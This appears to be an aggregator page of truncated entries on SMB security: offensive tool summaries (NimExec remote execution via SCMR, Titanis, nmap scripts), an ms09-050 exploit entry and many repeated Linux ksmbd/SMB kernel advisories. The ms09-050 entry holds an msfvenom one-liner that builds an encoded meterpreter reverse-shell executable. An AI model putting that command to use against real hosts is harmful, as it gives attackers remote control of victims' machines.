Titanis

문서 사이트에서 사용자 가이드 보기 소개 Titanis는 Windows 환경과 상호 작용하기 위한 C으로 작성된 프로토콜 구현 및 명령줄 유틸리티 라이브러리입니다. .NET 8을 사용하며 크로스 플랫폼Windows 및 Linux을 지원합니다. 구현된 프로토콜 중 일부는 다음과 같습니다: SMB2 MS-SMB2 SMB 2.x 및 3.x, 최대 3.1.1 서명 및 암호화와 같은 메시지 보안 기능 파일 시스템 제어 코드 지원 포함 MS-FSCC DFS 링크 MS-DFSC MSRPC MS-RPCE 엔드포인트 매퍼 DCOM MS-DCO...

NimExec

NimExec 기본적으로 NimExec는 SCMRService Control Manager Remote Protocol을 사용하는 파일리스 원격 명령 실행 도구입니다. LocalSystem이 실행하는 무작위 또는 지정된 서비스의 바이너리 경로를 변경하여 대상에서 주어진 명령을 실행한 후, WinAPI 호출 대신 수제작된 RPC 패킷을 통해 나중에 복원합니다. 이러한 패킷은 SMB2와 svcctl 명명된 파이프를 통해 전송됩니다. NimExec는 대상 머신에 인증하기 위해 NTLM 해시가 필요하며, 수제작된 패킷을 통해 NTLM...

nmap-nse-scripts

Repository for NSE Nmap Scripting Engine development. You will find my scripts including non-official ones, libraries, resources and other related material from my workshops. NSE（Nmap Scripting Engine）開発用リポジトリです。私のスクリプト（非公式のものを含む）、ライブラリ、リソース、およびワークショップの関連資料がここにあります。 TODO -Finishing SMB2 NSE libra...

ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 Windows 用ペイロードを作成/生成するワンライナー msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe --out /path/ meterpreter を起動するワンライナー...

SMB-LINUX-CVE-2025-37899

LinuxカーネルのksmbdにおけるUse-After-Freeの脆弱性（CVE-2025-37899） 説明 Linuxカーネルのksmbdモジュール（ネットワーク上のファイル共有のためのSMB（Server Message Block）プロトコルの実装を担う）に、 use-after-free タイプの脆弱性が発見されました。CVE-2025-37899として識別されたこの脆弱性は、権限が昇格されたリモートコード実行を可能にする可能性があります。 はじめに この発見は、研究者のSean...

DEBIAN-CVE-2026-97560

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix one-byte OOB read in smb2parsenativesymlink When parsing a share-root relative native symlink, memcpy copies smbtarget+1 skipping the leading separator but uses strlensmbtarget+1 as the length, reading one byte...

UBUNTU-CVE-2026-97560

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix one-byte OOB read in smb2parsenativesymlink When parsing a share-root relative native symlink, memcpy copies smbtarget+1 skipping the leading separator but uses strlensmbtarget+1 as the length, reading one byte...

CVE-2026-97560: Undefined Security Weakness

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix one-byte OOB read in smb2parsenativesymlink When parsing a share-root relative native symlink, memcpy copies smbtarget+1 skipping the leading separator but uses strlensmbtarget+1 as the length, reading one byte...

PT-2026-98500

Name of the Vulnerable Software and Affected Versions Linux kernel affected versions not specified Description An out-of-bounds read of one byte occurs in the smb2 parse native symlink function when parsing a share-root relative native symlink. The issue arises because memcpy copies data starting...

SUSE CVE-2026-93282

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

DEBIAN-CVE-2026-93282

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

AZL-103583 CVE-2026-93282 affecting package kernel 6.6.157.1-1

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

CVE-2026-93282

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

UBUNTU-CVE-2026-93282

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

CVE-2026-93282 ksmbd: fix maximum allowed access checks

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

CVE-2026-93282 ksmbd: fix maximum allowed access checks

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

CVE-2026-93282: Undefined Security Weakness

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

CVE-2026-93282

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

Linux Distros Unpatched Vulnerability : CVE-2026-93282

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not...

PT-2026-97969

Name of the Vulnerable Software and Affected Versions Linux kernel affected versions not specified Description An issue exists in the ksmbd module regarding maximum allowed access checks. The DACL Discretionary Access Control List permission check fails to consider the Authenticated Users ACE...